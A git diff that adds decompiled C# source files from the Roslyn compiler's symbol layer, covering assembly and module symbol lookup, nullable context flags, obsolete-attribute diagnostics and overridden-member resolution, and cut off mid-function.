b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaMissingCanonicalTypeSymbol.cs @@ -0,0 +1,59 @@ +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class NoPiaMissingCanonicalTypeSymbol : ErrorTypeSymbol +{ + private readonly AssemblySymbol _embeddingAssembly; + + private readonly string _fullTypeName; + + private readonly string? _guid; + + private readonly string? _scope; + + private readonly string? _identifier; + + public AssemblySymbol EmbeddingAssembly => _embeddingAssembly; + + public string FullTypeName => _fullTypeName; + + internal override bool MangleName => false; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + public string? Guid => _guid; + + public string? Scope => _scope; + + public string? Identifier => _identifier; + + internal override DiagnosticInfo ErrorInfo => (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NoCanonicalView, _fullTypeName); + + public NoPiaMissingCanonicalTypeSymbol(AssemblySymbol embeddingAssembly, string fullTypeName, string? guid, string? scope, string? identifier, TupleExtraData? tupleData = null) + : base(tupleData) + { + _embeddingAssembly = embeddingAssembly; + _fullTypeName = fullTypeName; + _guid = guid; + _scope = scope; + _identifier = identifier; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new NoPiaMissingCanonicalTypeSymbol(_embeddingAssembly, _fullTypeName, _guid, _scope, _identifier, newData); + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + return (object)this == t2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NonMissingAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NonMissingAssemblySymbol.cs new file mode 100644 index 0000000..3c1e164 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NonMissingAssemblySymbol.cs @@ -0,0 +1,109 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class NonMissingAssemblySymbol : AssemblySymbol +{ + private readonly ConcurrentDictionary _emittedNameToTypeMap = new ConcurrentDictionary(); + + private NamespaceSymbol? _globalNamespace; + + internal sealed override bool IsMissing => false; + + public sealed override NamespaceSymbol GlobalNamespace + { + get + { + if ((object)_globalNamespace == null) + { + IEnumerable enumerable = Modules.Select((ModuleSymbol m) => m.GlobalNamespace); + NamespaceSymbol value = MergedNamespaceSymbol.Create(new NamespaceExtent(this), null, ImmutableArrayExtensions.AsImmutable(enumerable)); + Interlocked.CompareExchange(ref _globalNamespace, value, null); + } + return _globalNamespace; + } + } + + internal int EmittedNameToTypeMapCount => _emittedNameToTypeMap.Count; + + internal sealed override NamedTypeSymbol? LookupDeclaredTopLevelMetadataType(ref MetadataTypeName emittedName) + { + NamedTypeSymbol namedTypeSymbol = null; + namedTypeSymbol = LookupTopLevelMetadataTypeInCache(ref emittedName); + if ((object)namedTypeSymbol != null) + { + if (!namedTypeSymbol.IsErrorType() && (object)namedTypeSymbol.ContainingAssembly == this) + { + return namedTypeSymbol; + } + return null; + } + namedTypeSymbol = LookupDeclaredTopLevelMetadataTypeInModules(ref emittedName); + if ((object)namedTypeSymbol == null) + { + return null; + } + return CacheTopLevelMetadataType(ref emittedName, namedTypeSymbol); + } + + private NamedTypeSymbol? LookupDeclaredTopLevelMetadataTypeInModules(ref MetadataTypeName emittedName) + { + ImmutableArray.Enumerator enumerator = Modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol namedTypeSymbol = enumerator.Current.LookupTopLevelMetadataType(ref emittedName); + if ((object)namedTypeSymbol != null) + { + return namedTypeSymbol; + } + } + return null; + } + + internal sealed override NamedTypeSymbol LookupDeclaredOrForwardedTopLevelMetadataType(ref MetadataTypeName emittedName, ConsList? visitedAssemblies) + { + NamedTypeSymbol namedTypeSymbol = LookupTopLevelMetadataTypeInCache(ref emittedName); + if ((object)namedTypeSymbol != null) + { + return namedTypeSymbol; + } + namedTypeSymbol = LookupDeclaredTopLevelMetadataTypeInModules(ref emittedName); + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = TryLookupForwardedMetadataTypeWithCycleDetection(ref emittedName, visitedAssemblies); + } + return CacheTopLevelMetadataType(ref emittedName, namedTypeSymbol ?? new MissingMetadataTypeSymbol.TopLevel(Modules[0], ref emittedName)); + } + + internal abstract override NamedTypeSymbol? TryLookupForwardedMetadataTypeWithCycleDetection(ref MetadataTypeName emittedName, ConsList? visitedAssemblies); + + private NamedTypeSymbol? LookupTopLevelMetadataTypeInCache(ref MetadataTypeName emittedName) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (_emittedNameToTypeMap.TryGetValue(((MetadataTypeName)(ref emittedName)).ToKey(), out NamedTypeSymbol value)) + { + return value; + } + return null; + } + + internal NamedTypeSymbol CachedTypeByEmittedName(string emittedname) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + MetadataTypeName val = MetadataTypeName.FromFullName(emittedname, false, -1); + return _emittedNameToTypeMap[((MetadataTypeName)(ref val)).ToKey()]; + } + + private NamedTypeSymbol CacheTopLevelMetadataType(ref MetadataTypeName emittedName, NamedTypeSymbol result) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return _emittedNameToTypeMap.GetOrAdd(((MetadataTypeName)(ref emittedName)).ToKey(), result); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NonMissingModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NonMissingModuleSymbol.cs new file mode 100644 index 0000000..c3304a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NonMissingModuleSymbol.cs @@ -0,0 +1,92 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class NonMissingModuleSymbol : ModuleSymbol +{ + private ModuleReferences _moduleReferences; + + internal sealed override bool IsMissing => false; + + internal override bool HasUnifiedReferences => GetUnifiedAssemblies().Length > 0; + + internal sealed override ImmutableArray GetReferencedAssemblies() + { + return _moduleReferences.Identities; + } + + internal sealed override ImmutableArray GetReferencedAssemblySymbols() + { + return _moduleReferences.Symbols; + } + + internal ImmutableArray> GetUnifiedAssemblies() + { + return _moduleReferences.UnifiedAssemblies; + } + + internal override bool GetUnificationUseSiteDiagnostic(ref DiagnosticInfo result, TypeSymbol dependentType) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol containingAssembly = ContainingAssembly; + AssemblySymbol containingAssembly2 = dependentType.ContainingAssembly; + if (containingAssembly == containingAssembly2) + { + return false; + } + ImmutableArray>.Enumerator enumerator = GetUnifiedAssemblies().GetEnumerator(); + while (enumerator.MoveNext()) + { + UnifiedAssembly current = enumerator.Current; + if ((object)current.TargetAssembly == containingAssembly2) + { + AssemblyIdentity originalReference = current.OriginalReference; + AssemblyIdentity identity = containingAssembly2.Identity; + ImmutableArray symbols = ImmutableArray.Create((Symbol)containingAssembly, (Symbol)containingAssembly2); + DiagnosticInfo info = (DiagnosticInfo)(object)((!(identity.Version > originalReference.Version)) ? new CSDiagnosticInfo(ErrorCode.ERR_AssemblyMatchBadVersion, new object[5] + { + containingAssembly.Name, + containingAssembly.Identity.GetDisplayName(false), + originalReference.GetDisplayName(false), + containingAssembly2.Name, + identity.GetDisplayName(false) + }, symbols, ImmutableArray.Empty) : new CSDiagnosticInfo((identity.Version.Major == originalReference.Version.Major && identity.Version.Minor == originalReference.Version.Minor) ? ErrorCode.WRN_UnifyReferenceBldRev : ErrorCode.WRN_UnifyReferenceMajMin, new object[4] + { + originalReference.GetDisplayName(false), + containingAssembly.Name, + identity.GetDisplayName(false), + containingAssembly2.Name + }, symbols, ImmutableArray.Empty)); + if (MergeUseSiteDiagnostics(ref result, info)) + { + return true; + } + } + } + return false; + } + + internal override void SetReferences(ModuleReferences moduleReferences, SourceAssemblySymbol originatingSourceAssemblyDebugOnly = null) + { + _moduleReferences = moduleReferences; + } + + [Conditional("DEBUG")] + internal void AssertReferencesUninitialized() + { + } + + [Conditional("DEBUG")] + internal void AssertReferencesInitialized() + { + } + + internal sealed override NamedTypeSymbol? LookupTopLevelMetadataType(ref MetadataTypeName emittedName) + { + return GlobalNamespace.LookupNestedNamespace(((MetadataTypeName)(ref emittedName)).NamespaceSegmentsMemory)?.LookupMetadataType(ref emittedName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NullableContextExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NullableContextExtensions.cs new file mode 100644 index 0000000..4d04457 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NullableContextExtensions.cs @@ -0,0 +1,42 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class NullableContextExtensions +{ + internal static bool TryGetByte(this NullableContextKind kind, out byte? value) + { + switch (kind) + { + case NullableContextKind.Unknown: + value = null; + return false; + case NullableContextKind.None: + value = null; + return true; + case NullableContextKind.Oblivious: + value = 0; + return true; + case NullableContextKind.NotAnnotated: + value = 1; + return true; + case NullableContextKind.Annotated: + value = 2; + return true; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + internal static NullableContextKind ToNullableContextFlags(this byte? value) + { + return value switch + { + null => NullableContextKind.None, + 0 => NullableContextKind.Oblivious, + 1 => NullableContextKind.NotAnnotated, + 2 => NullableContextKind.Annotated, + _ => throw ExceptionUtilities.UnexpectedValue((object)value), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NullableContextKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NullableContextKind.cs new file mode 100644 index 0000000..5074543 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NullableContextKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal enum NullableContextKind : byte +{ + Unknown, + None, + Oblivious, + NotAnnotated, + Annotated +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ObsoleteAttributeHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ObsoleteAttributeHelpers.cs new file mode 100644 index 0000000..c81c966 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ObsoleteAttributeHelpers.cs @@ -0,0 +1,177 @@ +using System; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ObsoleteAttributeHelpers +{ + internal static void InitializeObsoleteDataFromMetadata(ref ObsoleteAttributeData data, EntityHandle token, PEModuleSymbol containingModule, bool ignoreByRefLikeMarker, bool ignoreRequiredMemberMarker) + { + if (data == ObsoleteAttributeData.Uninitialized) + { + ObsoleteAttributeData obsoleteDataFromMetadata = GetObsoleteDataFromMetadata(token, containingModule, ignoreByRefLikeMarker, ignoreRequiredMemberMarker); + Interlocked.CompareExchange(ref data, obsoleteDataFromMetadata, ObsoleteAttributeData.Uninitialized); + } + } + + internal static ObsoleteAttributeData GetObsoleteDataFromMetadata(EntityHandle token, PEModuleSymbol containingModule, bool ignoreByRefLikeMarker, bool ignoreRequiredMemberMarker) + { + return containingModule.Module.TryGetDeprecatedOrExperimentalOrObsoleteAttribute(token, (IAttributeNamedArgumentDecoder)(object)new MetadataDecoder(containingModule), ignoreByRefLikeMarker, ignoreRequiredMemberMarker); + } + + private static ThreeState GetObsoleteContextState(Symbol symbol, bool forceComplete, Func getStateFromSymbol) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + while ((object)symbol != null) + { + if ((int)symbol.Kind == 6) + { + Symbol associatedSymbol = ((FieldSymbol)symbol).AssociatedSymbol; + if ((object)associatedSymbol != null) + { + symbol = associatedSymbol; + } + } + if (forceComplete) + { + symbol.ForceCompleteObsoleteAttribute(); + } + ThreeState val = getStateFromSymbol(symbol); + if ((int)val != 1) + { + return val; + } + symbol = ((!symbol.IsAccessor()) ? symbol.ContainingSymbol : ((MethodSymbol)symbol).AssociatedSymbol); + } + return (ThreeState)1; + } + + internal static ObsoleteDiagnosticKind GetObsoleteDiagnosticKind(Symbol symbol, Symbol containingMember, bool forceComplete = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected I4, but got Unknown + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Invalid comparison between Unknown and I4 + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Invalid comparison between Unknown and I4 + ObsoleteAttributeKind obsoleteKind = symbol.ObsoleteKind; + switch ((int)obsoleteKind) + { + case 0: + if ((int)symbol.ContainingModule.ObsoleteKind == 5 || (int)symbol.ContainingAssembly.ObsoleteKind == 5) + { + return getDiagnosticKind(containingMember, forceComplete, (Symbol symbol2) => symbol2.ExperimentalState); + } + if ((int)symbol.ContainingModule.ObsoleteKind == 1 || (int)symbol.ContainingAssembly.ObsoleteKind == 1) + { + return ObsoleteDiagnosticKind.Lazy; + } + return ObsoleteDiagnosticKind.NotObsolete; + case 4: + return ObsoleteDiagnosticKind.Diagnostic; + case 5: + return getDiagnosticKind(containingMember, forceComplete, (Symbol symbol2) => symbol2.ExperimentalState); + case 1: + return ObsoleteDiagnosticKind.Lazy; + default: + return getDiagnosticKind(containingMember, forceComplete, (Symbol symbol2) => symbol2.ObsoleteState); + } + static ObsoleteDiagnosticKind getDiagnosticKind(Symbol symbol2, bool forceComplete2, Func getStateFromSymbol) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + ThreeState obsoleteContextState = GetObsoleteContextState(symbol2, forceComplete2, getStateFromSymbol); + if ((int)obsoleteContextState == 1) + { + return ObsoleteDiagnosticKind.Diagnostic; + } + if ((int)obsoleteContextState == 2) + { + return ObsoleteDiagnosticKind.Suppressed; + } + return ObsoleteDiagnosticKind.LazyPotentiallySuppressed; + } + } + + internal static DiagnosticInfo CreateObsoleteDiagnostic(Symbol symbol, BinderFlags location) + { + return createObsoleteDiagnostic(symbol, location); + static DiagnosticInfo createObsoleteDiagnostic(Symbol symbol2, BinderFlags self) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Expected O, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Expected O, but got Unknown + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Expected O, but got Unknown + ObsoleteAttributeData val = symbol2.ObsoleteAttributeData ?? symbol2.ContainingModule.ObsoleteAttributeData ?? symbol2.ContainingAssembly.ObsoleteAttributeData; + if (val == null) + { + return null; + } + if (self.Includes(BinderFlags.SuppressObsoleteChecks)) + { + return null; + } + if ((int)val.Kind != 4) + { + if ((int)val.Kind != 5) + { + bool flag = self.Includes(BinderFlags.CollectionInitializerAddMethod); + string message = val.Message; + bool isError = val.IsError; + ErrorCode errorCode = ((message == null) ? ((!flag) ? ErrorCode.WRN_DeprecatedSymbol : ErrorCode.WRN_DeprecatedCollectionInitAdd) : (isError ? ((!flag) ? ErrorCode.ERR_DeprecatedSymbolStr : ErrorCode.ERR_DeprecatedCollectionInitAddStr) : ((!flag) ? ErrorCode.WRN_DeprecatedSymbolStr : ErrorCode.WRN_DeprecatedCollectionInitAddStr))); + ErrorCode errorCode2 = errorCode; + string message2 = val.Message; + object[] array = ((message2 == null) ? new object[1] { symbol2 } : new object[2] { symbol2, message2 }); + return (DiagnosticInfo)new CustomObsoleteDiagnosticInfo((CommonMessageProvider)(object)MessageProvider.Instance, (int)errorCode2, val, array); + } + return (DiagnosticInfo)new CustomObsoleteDiagnosticInfo((CommonMessageProvider)(object)MessageProvider.Instance, 9204, val, new object[1] { (object)new FormattedSymbol((ISymbolInternal)(object)symbol2, SymbolDisplayFormat.CSharpErrorMessageFormat) }); + } + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_WindowsExperimental, (object)new FormattedSymbol((ISymbolInternal)(object)symbol2, SymbolDisplayFormat.CSharpErrorMessageFormat)); + } + } + + internal static bool IsObsoleteDiagnostic(this DiagnosticInfo diagnosticInfo) + { + switch ((ErrorCode)diagnosticInfo.Code) + { + case ErrorCode.WRN_DeprecatedSymbol: + case ErrorCode.WRN_DeprecatedSymbolStr: + case ErrorCode.ERR_DeprecatedSymbolStr: + case ErrorCode.WRN_DeprecatedCollectionInitAddStr: + case ErrorCode.ERR_DeprecatedCollectionInitAddStr: + case ErrorCode.WRN_DeprecatedCollectionInitAdd: + case ErrorCode.WRN_WindowsExperimental: + case ErrorCode.WRN_Experimental: + return true; + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ObsoleteDiagnosticKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ObsoleteDiagnosticKind.cs new file mode 100644 index 0000000..bad400a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ObsoleteDiagnosticKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal enum ObsoleteDiagnosticKind +{ + NotObsolete, + Suppressed, + Diagnostic, + Lazy, + LazyPotentiallySuppressed +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenMethodTypeParameterMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenMethodTypeParameterMap.cs new file mode 100644 index 0000000..b35cbc8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenMethodTypeParameterMap.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class OverriddenMethodTypeParameterMap : OverriddenMethodTypeParameterMapBase +{ + public OverriddenMethodTypeParameterMap(SourceOrdinaryMethodSymbol overridingMethod) + : base(overridingMethod) + { + } + + protected override MethodSymbol GetOverriddenMethod(SourceOrdinaryMethodSymbol overridingMethod) + { + MethodSymbol methodSymbol = overridingMethod; + do + { + methodSymbol = methodSymbol.OverriddenMethod; + } + while ((object)methodSymbol != null && methodSymbol.IsOverride); + return methodSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenMethodTypeParameterMapBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenMethodTypeParameterMapBase.cs new file mode 100644 index 0000000..624382e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenMethodTypeParameterMapBase.cs @@ -0,0 +1,58 @@ +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class OverriddenMethodTypeParameterMapBase +{ + private readonly SourceOrdinaryMethodSymbol _overridingMethod; + + private TypeMap _lazyTypeMap; + + private MethodSymbol _lazyOverriddenMethod = ErrorMethodSymbol.UnknownMethod; + + public SourceOrdinaryMethodSymbol OverridingMethod => _overridingMethod; + + public TypeMap TypeMap + { + get + { + if (_lazyTypeMap == null) + { + MethodSymbol overriddenMethod = OverriddenMethod; + if ((object)overriddenMethod != null) + { + ImmutableArray typeParameters = overriddenMethod.TypeParameters; + ImmutableArray typeParameters2 = _overridingMethod.TypeParameters; + TypeMap value = new TypeMap(typeParameters, typeParameters2, allowAlpha: true); + Interlocked.CompareExchange(ref _lazyTypeMap, value, null); + } + } + return _lazyTypeMap; + } + } + + private MethodSymbol OverriddenMethod + { + get + { + if ((object)_lazyOverriddenMethod == ErrorMethodSymbol.UnknownMethod) + { + Interlocked.CompareExchange(ref _lazyOverriddenMethod, GetOverriddenMethod(_overridingMethod), ErrorMethodSymbol.UnknownMethod); + } + return _lazyOverriddenMethod; + } + } + + protected OverriddenMethodTypeParameterMapBase(SourceOrdinaryMethodSymbol overridingMethod) + { + _overridingMethod = overridingMethod; + } + + public TypeParameterSymbol GetOverriddenTypeParameter(int ordinal) + { + return OverriddenMethod?.TypeParameters[ordinal]; + } + + protected abstract MethodSymbol GetOverriddenMethod(SourceOrdinaryMethodSymbol overridingMethod); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenOrHiddenMembersHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenOrHiddenMembersHelpers.cs new file mode 100644 index 0000000..bfa6fbe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenOrHiddenMembersHelpers.cs @@ -0,0 +1,729 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class OverriddenOrHiddenMembersHelpers +{ + internal static OverriddenOrHiddenMembersResult MakeOverriddenOrHiddenMembers(this MethodSymbol member) + { + return MakeOverriddenOrHiddenMembersWorker(member); + } + + internal static OverriddenOrHiddenMembersResult MakeOverriddenOrHiddenMembers(this PropertySymbol member) + { + return MakeOverriddenOrHiddenMembersWorker(member); + } + + internal static OverriddenOrHiddenMembersResult MakeOverriddenOrHiddenMembers(this EventSymbol member) + { + return MakeOverriddenOrHiddenMembersWorker(member); + } + + private static OverriddenOrHiddenMembersResult MakeOverriddenOrHiddenMembersWorker(Symbol member) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + if (!CanOverrideOrHide(member)) + { + return OverriddenOrHiddenMembersResult.Empty; + } + if (member.IsAccessor()) + { + MethodSymbol methodSymbol = member as MethodSymbol; + Symbol associatedSymbol = methodSymbol.AssociatedSymbol; + if ((object)associatedSymbol != null) + { + if ((int)associatedSymbol.Kind == 15) + { + return MakePropertyAccessorOverriddenOrHiddenMembers(methodSymbol, (PropertySymbol)associatedSymbol); + } + return MakeEventAccessorOverriddenOrHiddenMembers(methodSymbol, (EventSymbol)associatedSymbol); + } + } + NamedTypeSymbol containingType = member.ContainingType; + bool dangerous_IsFromSomeCompilation = member.Dangerous_IsFromSomeCompilation; + if (containingType.IsInterface) + { + return MakeInterfaceOverriddenOrHiddenMembers(member, dangerous_IsFromSomeCompilation); + } + FindOverriddenOrHiddenMembers(member, containingType, dangerous_IsFromSomeCompilation, out var hiddenBuilder, out var overriddenMembers); + ImmutableArray hiddenMembers = hiddenBuilder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + return OverriddenOrHiddenMembersResult.Create(overriddenMembers, hiddenMembers); + } + + private static void FindOverriddenOrHiddenMembers(Symbol member, NamedTypeSymbol containingType, bool memberIsFromSomeCompilation, out ArrayBuilder hiddenBuilder, out ImmutableArray overriddenMembers) + { + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + Symbol currTypeBestMatch = null; + hiddenBuilder = null; + Symbol symbol; + if (!(member is MethodSymbol method)) + { + if (member is PEPropertySymbol pEPropertySymbol) + { + if (!(pEPropertySymbol.GetMethod is PEMethodSymbol { ExplicitlyOverriddenClassMethod: { AssociatedSymbol: PropertySymbol associatedSymbol } })) + { + goto IL_00a0; + } + symbol = associatedSymbol; + } + else + { + if (!(member is RetargetingPropertySymbol { GetMethod: RetargetingMethodSymbol { ExplicitlyOverriddenClassMethod: { AssociatedSymbol: PropertySymbol associatedSymbol2 } } })) + { + goto IL_00a0; + } + symbol = associatedSymbol2; + } + } + else + { + symbol = KnownOverriddenClassMethod(method); + } + goto IL_00a3; + IL_00a0: + symbol = null; + goto IL_00a3; + IL_00a3: + Symbol knownOverriddenMember = symbol; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null && (object)currTypeBestMatch == null && hiddenBuilder == null) + { + FindOverriddenOrHiddenMembersInType(member, memberIsFromSomeCompilation, containingType, knownOverriddenMember, baseTypeNoUseSiteDiagnostics, out currTypeBestMatch, out var _, out hiddenBuilder); + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + FindRelatedMembers(member.IsOverride, memberIsFromSomeCompilation, member.Kind, currTypeBestMatch, out overriddenMembers, ref hiddenBuilder); + } + + public static Symbol FindFirstHiddenMemberIfAny(Symbol member, bool memberIsFromSomeCompilation) + { + FindOverriddenOrHiddenMembers(member, member.ContainingType, memberIsFromSomeCompilation, out var hiddenBuilder, out var _); + Symbol? result = ((IEnumerable)hiddenBuilder)?.FirstOrDefault(); + hiddenBuilder?.Free(); + return result; + } + + private static MethodSymbol KnownOverriddenClassMethod(MethodSymbol method) + { + if (!(method is PEMethodSymbol { ExplicitlyOverriddenClassMethod: var explicitlyOverriddenClassMethod })) + { + if (!(method is RetargetingMethodSymbol { ExplicitlyOverriddenClassMethod: var explicitlyOverriddenClassMethod2 })) + { + return null; + } + return explicitlyOverriddenClassMethod2; + } + return explicitlyOverriddenClassMethod; + } + + private static OverriddenOrHiddenMembersResult MakePropertyAccessorOverriddenOrHiddenMembers(MethodSymbol accessor, PropertySymbol associatedProperty) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + bool flag = (int)accessor.MethodKind == 11; + MethodSymbol methodSymbol = null; + ArrayBuilder builder = null; + OverriddenOrHiddenMembersResult overriddenOrHiddenMembers = associatedProperty.OverriddenOrHiddenMembers; + ImmutableArray.Enumerator enumerator = overriddenOrHiddenMembers.HiddenMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)current; + MethodSymbol methodSymbol2 = (flag ? propertySymbol.GetMethod : propertySymbol.SetMethod); + if ((object)methodSymbol2 != null) + { + AccessOrGetInstance(ref builder).Add((Symbol)methodSymbol2); + } + } + } + if (overriddenOrHiddenMembers.OverriddenMembers.Any()) + { + PropertySymbol property = (PropertySymbol)overriddenOrHiddenMembers.OverriddenMembers[0]; + MethodSymbol methodSymbol3 = (flag ? property.GetOwnOrInheritedGetMethod() : property.GetOwnOrInheritedSetMethod()); + if ((object)methodSymbol3 != null) + { + methodSymbol = methodSymbol3; + } + } + bool accessorIsFromSomeCompilation = accessor.Dangerous_IsFromSomeCompilation; + ImmutableArray overriddenMembers = ImmutableArray.Empty; + if ((object)methodSymbol != null && IsOverriddenSymbolAccessible(methodSymbol, 